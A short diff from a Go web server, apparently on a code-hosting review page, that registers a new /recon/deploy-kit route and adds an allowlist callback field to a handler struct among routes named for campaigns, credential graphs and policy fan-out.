@@ -665,6 +669,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||
|
||||
@@ -26,6 +26,7 @@ type SpreadHandler struct {
|
||||
publicURL func() string
|
||||
erasureShards *erasure.ShardStore
|
||||
deployPlan *DeployPlanHandler
|
||||
allowlistFn func() map[string]ServiceDeployLane
|
||||
policyPathTracer *PathTracerHandler
|
||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||
notesMu sync.RWMutex
|
||||
|
||||
Reference in New Issue
Block a user